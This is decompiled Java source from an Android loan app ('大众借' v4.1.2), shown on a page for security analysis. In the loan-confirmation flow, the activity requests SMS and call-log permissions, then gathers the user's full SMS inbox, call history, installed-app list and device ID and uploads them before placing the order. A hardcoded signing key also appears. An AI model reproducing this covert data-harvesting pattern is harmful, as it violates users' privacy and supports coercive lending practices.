正在查看: 大众借. v4.1.2 应用的 MT0Act.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: 大众借. v4.1.2 应用的 MT0Act.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.shiliuj.ui.activitys;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.RelativeLayout;
import android.widget.TextView;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import butterknife.BindView;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.RegexUtil;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.views.TitleLayout;
import com.bigkoo.pickerview.builder.OptionsPickerBuilder;
import com.bigkoo.pickerview.listener.OnOptionsSelectListener;
import com.bigkoo.pickerview.view.OptionsPickerView;
import com.google.gson.Gson;
import com.shiliuj.gzd.ContactsGetUtil;
import com.shiliuj.mjyp.app.api.Api;
import com.shiliuj.mjyp.app.api.Api2;
import com.shiliuj.mjyp.app.base.BaseBindActivity;
import com.shiliuj.mjyp.app.base.RxSubscriber;
import com.shiliuj.ui.bean.ApplyBean;
import com.shiliuj.ui.bean.BorrowOrderForm;
import com.shiliuj.ui.bean.CalculateBean;
import com.shiliuj.ui.bean.DevSmsBean;
import com.shiliuj.ui.bean.EncForm;
import com.shiliuj.ui.bean.HomeAmountBean;
import com.shiliuj.ui.bean.MyInfoBean;
import com.shiliuj.ui.bean.RegBean;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;
public class MT0Act extends BaseBindActivity {
@BindView(2131296342)
TextView allMoney;
ApplyBean applyBean;
private String bankName;
private String bankNum;
@BindView(2131296390)
TextView btnOk;
private CalculateBean calculateBean;
@BindView(2131296402)
TextView cardNum;
@BindView(2131296455)
TextView dayNum;
@BindView(2131296510)
TextView fees;
@BindView(2131296512)
TextView fengkongFees;
@BindView(2131296513)
TextView fengkongReadFees;
@BindView(2131296536)
TextView getMoney;
@BindView(2131296585)
TextView infoFees;
@BindView(2131296624)
TextView lix;
@BindView(2131296625)
TextView lix2;
@BindView(2131296626)
TextView lixi;
@BindView(2131296627)
TextView lixi2;
@BindView(2131296628)
View lixiLine;
@BindView(2131296629)
View lixiLine2;
private String loanPeriod;
private BigDecimal ownActualMoney;
private OptionsPickerView<String> pvOptions;
@BindView(2131296818)
RelativeLayout rlCard;
@BindView(2131296824)
RelativeLayout rlFees;
@BindView(2131296825)
RelativeLayout rlFengkongFees;
@BindView(2131296826)
RelativeLayout rlFengkongReadFees;
@BindView(2131296827)
RelativeLayout rlGetMoney;
@BindView(2131296833)
RelativeLayout rlInfoFees;
@BindView(2131296834)
RelativeLayout rlLix2;
@BindView(2131296835)
RelativeLayout rlLixi;
@BindView(2131296972)
TextView tipAll;
@BindView(2131296998)
TitleLayout title;
@BindView(2131297047)
TextView tv_tixian_tip;
private List<String> moneys = new ArrayList();
private int loanType = 1;
private String enfLoanFlag = "0";
private List<String> showmoneys = new ArrayList();
private String sjamount = "0";
private String period = "7";
private String amount = "1000";
int repLoanFlag = 0;
protected boolean canLoadMore() {
return false;
}
public int getLayoutId() {
return 2131492893;
}
protected void loadMore() {
}
protected void refresh() {
}
public void initPresenter() {
if (getIntent() == null) {
this.period = "7";
this.amount = "1000";
} else if (getIntent().getStringExtra("period") == null || getIntent().getStringExtra("amount") == null) {
this.period = "7";
this.amount = "1000";
} else {
this.period = getIntent().getStringExtra("period");
this.amount = getIntent().getStringExtra("amount");
}
}
public void initView(Bundle bundle) {
apply();
this.getMoney.setOnClickListener(new View.OnClickListener() {
@Override
public final void onClick(View view) {
MT0Act.this.lambda$initView$0$MT0Act(view);
}
});
this.btnOk.setOnClickListener(new View.OnClickListener() {
@Override
public final void onClick(View view) {
MT0Act.this.lambda$initView$1$MT0Act(view);
}
});
getTip();
}
public void lambda$initView$0$MT0Act(View view) {
if (this.moneys.size() > 0) {
showPickerView();
} else {
apply();
}
}
public void lambda$initView$1$MT0Act(View view) {
if (!RegexUtil.isEmpty(this.getMoney.getText().toString().replace(getString(2131689824), ""))) {
if (this.calculateBean != null) {
permissionRequest(getString(2131689914), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new IPermissionResultListener() {
public void onPermissionFaild() {
}
public void onPermissionSuccess() {
SPUtils.putData("latitude", "中国");
SPUtils.putData("longitude", "中国");
if (TextUtils.isEmpty("")) {
SPUtils.putData("address", "中国");
} else {
SPUtils.putData("address", "");
}
MT0Act.this.getDevSmsBean();
}
});
return;
} else {
apply();
return;
}
}
showShortToast(2131689935);
}
public void getTip() {
this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<HomeAmountBean>(this.mContext, false) {
protected void _onError(String str) {
}
public void _onNext(HomeAmountBean homeAmountBean) {
String content = homeAmountBean.getContent();
if (TextUtils.isEmpty(content) || MT0Act.this.tv_tixian_tip == null) {
return;
}
MT0Act.this.tv_tixian_tip.setText(content);
}
}));
}
private void showPickerView() {
if (this.pvOptions == null) {
OptionsPickerView<String> build = new OptionsPickerBuilder(this.mContext, new OnOptionsSelectListener() {
public final void onOptionsSelect(int i, int i2, int i3, View view) {
MT0Act.this.lambda$showPickerView$2$MT0Act(i, i2, i3, view);
}
}).setTitleSize(15).setTitleBgColor(ContextCompat.getColor(this.mContext, 2131099932)).setSubmitColor(ContextCompat.getColor(this.mContext, 2131099701)).setCancelColor(ContextCompat.getColor(this.mContext, 2131099923)).setTitleText(getString(2131689592)).setDividerColor(ContextCompat.getColor(this.mContext, 2131099797)).setTextColorCenter(ContextCompat.getColor(this.mContext, 2131099701)).setContentTextSize(20).build();
this.pvOptions = build;
build.setPicker(this.showmoneys);
}
this.pvOptions.show();
}
public void lambda$showPickerView$2$MT0Act(int i, int i2, int i3, View view) {
this.getMoney.setText(this.showmoneys.get(i));
this.sjamount = this.moneys.get(i);
getConfigForCharge();
}
protected void borrowOrder() {
String str = (String) SPUtils.getData("address", "中国");
String json = new Gson().toJson(new BorrowOrderForm("0", this.enfLoanFlag, this.bankName, Integer.valueOf(Integer.parseInt(this.loanPeriod)), this.sjamount.replace(getString(2131689824), ""), this.bankNum, str, (String) SPUtils.getData("longitude", "0.0"), (String) SPUtils.getData("latitude", "0.0"), ApplicationUtil.getAPPVersion(this.mContext), Constant.SDK_OS, this.amount, this.period));
long currentTimeMillis = System.currentTimeMillis();
String uuid = UUID.randomUUID().toString();
String str2 = json + "@" + uuid + "@" + currentTimeMillis;
String encrypt = RSAUtils.getInstance().encrypt(str2 + "@" + MD5Utils.md5(str2, "f4qgkb85q4pMRMChLeC7uSn2wwTWGXrs"));
StringBuilder sb = new StringBuilder();
sb.append(currentTimeMillis);
sb.append("");
this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe(new RxSubscriber<RegBean>(this.mContext, true) {
public void _onNext(RegBean regBean) {
if (regBean != null) {
String record = regBean.getRecord();
Bundle bundle = new Bundle();
bundle.putString("ORDERID", record);
MT0Act.this.startActivity(N0ACT.class, bundle);
MT0Act.this.finish();
return;
}
MT0Act mT0Act = MT0Act.this;
mT0Act.showShortToast(mT0Act.getResources().getString(2131690105));
}
protected void _onError(String str3) {
Bundle bundle = new Bundle();
bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str3);
MT0Act.this.startActivity(N0ACT.class, bundle);
}
}));
}
protected void apply() {
getConfigForAmount();
}
public void setViewShow() {
BigDecimal rate = this.applyBean.getRate();
BigDecimal serviceCharge = this.applyBean.getServiceCharge();
BigDecimal creditCer = this.applyBean.getCreditCer();
BigDecimal riskMan = this.applyBean.getRiskMan();
BigDecimal riskPre = this.applyBean.getRiskPre();
if (rate.compareTo(BigDecimal.ZERO) == 0) {
this.rlLixi.setVisibility(8);
} else if (this.loanType != 2) {
this.rlLixi.setVisibility(0);
}
if (serviceCharge.compareTo(BigDecimal.ZERO) == 0) {
this.rlFees.setVisibility(8);
} else {
this.rlFees.setVisibility(0);
}
if (creditCer.compareTo(BigDecimal.ZERO) == 0) {
this.rlInfoFees.setVisibility(8);
} else {
this.rlInfoFees.setVisibility(0);
}
if (riskMan.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongFees.setVisibility(8);
} else {
this.rlFengkongFees.setVisibility(0);
}
if (riskPre.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongReadFees.setVisibility(8);
} else {
this.rlFengkongReadFees.setVisibility(0);
}
}
protected void getConfigForCharge() {
String replace;
if (this.applyBean != null && !RegexUtil.isEmpty(this.sjamount)) {
if (this.repLoanFlag == 0) {
replace = this.amount;
} else {
replace = this.sjamount.replace(getString(2131689824), "");
}
BigDecimal bigDecimal = new BigDecimal(replace);
BigDecimal scale = this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale2 = this.applyBean.getServiceCharge().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale3 = this.applyBean.getCreditCer().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale4 = this.applyBean.getRiskMan().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal scale5 = this.applyBean.getRiskPre().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
BigDecimal add = scale.add(scale2).add(scale3).add(scale4).add(scale5);
int i = this.loanType;
if (i == 2) {
add = scale2.add(scale3).add(scale4).add(scale5);
} else if (i == 3) {
add = bigDecimal.add(scale).add(scale2).add(scale3).add(scale4).add(scale5);
}
BigDecimal bigDecimal2 = add;
this.calculateBean = new CalculateBean(bigDecimal, scale, scale2, scale3, scale4, scale5, bigDecimal2);
if (scale.compareTo(BigDecimal.ZERO) == 0) {
this.rlLixi.setVisibility(8);
} else if (this.loanType != 2) {
this.rlLixi.setVisibility(0);
}
if (scale2.compareTo(BigDecimal.ZERO) == 0) {
this.rlFees.setVisibility(8);
} else {
this.rlFees.setVisibility(0);
}
if (scale3.compareTo(BigDecimal.ZERO) == 0) {
this.rlInfoFees.setVisibility(8);
} else {
this.rlInfoFees.setVisibility(0);
}
if (scale4.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongFees.setVisibility(8);
} else {
this.rlFengkongFees.setVisibility(0);
}
if (scale5.compareTo(BigDecimal.ZERO) == 0) {
this.rlFengkongReadFees.setVisibility(8);
} else {
this.rlFengkongReadFees.setVisibility(0);
}
this.lixi2.setText(getString(2131689824) + scale + "");
this.lixi.setText(getString(2131689824) + scale + "");
this.fees.setText(getString(2131689824) + scale2 + "");
this.infoFees.setText(getString(2131689824) + scale3 + "");
this.fengkongFees.setText(getString(2131689824) + scale4 + "");
this.fengkongReadFees.setText(getString(2131689824) + scale5 + "");
this.allMoney.setText(getString(2131689824) + bigDecimal2);
return;
}
apply();
}
protected void onDestroy() {
super.onDestroy();
}
public void update(DevSmsBean devSmsBean) {
this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true, false) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
MT0Act.this.borrowOrder();
} else {
MT0Act.this.showShortToast(baseResult.getMessage());
}
}
protected void _onError(String str) {
MT0Act.this.showShortToast(str);
}
}));
}
public void getDevSmsBean() {
startProgressDialog();
this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
public final void call(Object obj) {
MT0Act.this.lambda$getDevSmsBean$3$MT0Act((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
public void onCompleted() {
MT0Act.this.stopProgressDialog();
}
public void onError(Throwable th) {
MT0Act.this.stopProgressDialog();
}
public void onNext(DevSmsBean devSmsBean) {
MT0Act.this.update(devSmsBean);
}
}));
}
public void lambda$getDevSmsBean$3$MT0Act(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List smsInPhone = ContactsGetUtil.getSmsInPhone(this.mContext);
devSmsBean.setSmsList(smsInPhone);
List scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(this.mContext));
String deviceID = ApplicationUtil.getDeviceID(this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData("address", "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
private void getBaseInfo(boolean z) {
this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<MyInfoBean>(this.mContext, z) {
public void _onNext(MyInfoBean myInfoBean) {
myInfoBean.getLoanCount();
}
protected void _onError(String str) {
MT0Act.this.showErrorTip(str);
}
}));
}
public void getConfigForAmount() {
this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<HomeAmountBean>(this.mContext, false) {
protected void _onError(String str) {
}
public void _onNext(HomeAmountBean homeAmountBean) {
if (homeAmountBean != null) {
MT0Act.this.repLoanFlag = homeAmountBean.getRepLoanFlag().intValue();
MT0Act.this.getApplyAfterConfig();
}
}
}));
}
public void getApplyAfterConfig() {
this.mRxManager.add(Api.getDefault().apply(Integer.parseInt(this.period)).compose(RxHelper.handleResult()).subscribe(new RxSubscriber<ApplyBean>(this.mContext, true) {
public void _onNext(ApplyBean applyBean) {
if (applyBean != null) {
MT0Act.this.applyBean = applyBean;
MT0Act.this.loanType = applyBean.getLoanType() == null ? 1 : applyBean.getLoanType().intValue();
int i = MT0Act.this.loanType;
if (i == 1) {
MT0Act.this.rlLixi.setVisibility(0);
MT0Act.this.lixiLine.setVisibility(0);
MT0Act.this.rlLix2.setVisibility(8);
MT0Act.this.lixiLine2.setVisibility(8);
MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(2131689576));
} else if (i == 2) {
MT0Act.this.rlLix2.setVisibility(0);
MT0Act.this.lixiLine2.setVisibility(0);
MT0Act.this.rlLixi.setVisibility(8);
MT0Act.this.lixiLine.setVisibility(8);
MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(2131689576));
} else if (i == 3) {
MT0Act.this.rlLix2.setVisibility(8);
MT0Act.this.lixiLine2.setVisibility(8);
MT0Act.this.lixiLine.setVisibility(0);
MT0Act.this.rlLixi.setVisibility(0);
MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(2131689724));
}
List amountList = applyBean.getAmountList();
MT0Act.this.moneys.clear();
MT0Act.this.showmoneys.clear();
for (int i2 = 0; i2 < amountList.size(); i2++) {
BigDecimal bigDecimal = (BigDecimal) amountList.get(i2);
MT0Act.this.moneys.add(MT0Act.this.getString(2131689824) + bigDecimal);
BigDecimal scale = MT0Act.this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
if (MT0Act.this.loanType != 1) {
bigDecimal = scale.add(bigDecimal);
}
MT0Act.this.ownActualMoney = bigDecimal;
MT0Act.this.showmoneys.add(MT0Act.this.getString(2131689824) + bigDecimal);
}
MT0Act.this.bankName = applyBean.getBankName();
MT0Act.this.bankNum = applyBean.getBankNum();
if (MT0Act.this.bankNum != null && MT0Act.this.bankNum.length() > 4) {
MT0Act.this.cardNum.setText(MT0Act.this.bankName + MT0Act.this.getString(2131689558) + MT0Act.this.bankNum.substring(MT0Act.this.bankNum.length() - 4));
}
MT0Act.this.loanPeriod = applyBean.getLoanPeriod();
if (MT0Act.this.repLoanFlag == 0) {
MT0Act.this.showmoneys.clear();
MT0Act.this.showmoneys.add(MT0Act.this.getString(2131689824) + MT0Act.this.amount);
MT0Act.this.dayNum.setText(MT0Act.this.period + MT0Act.this.getString(2131689633));
} else {
MT0Act.this.dayNum.setText(MT0Act.this.loanPeriod + MT0Act.this.getString(2131689633));
}
MT0Act.this.setViewShow();
}
}
protected void _onError(String str) {
MT0Act.this.showShortToast(str);
}
}));
}
}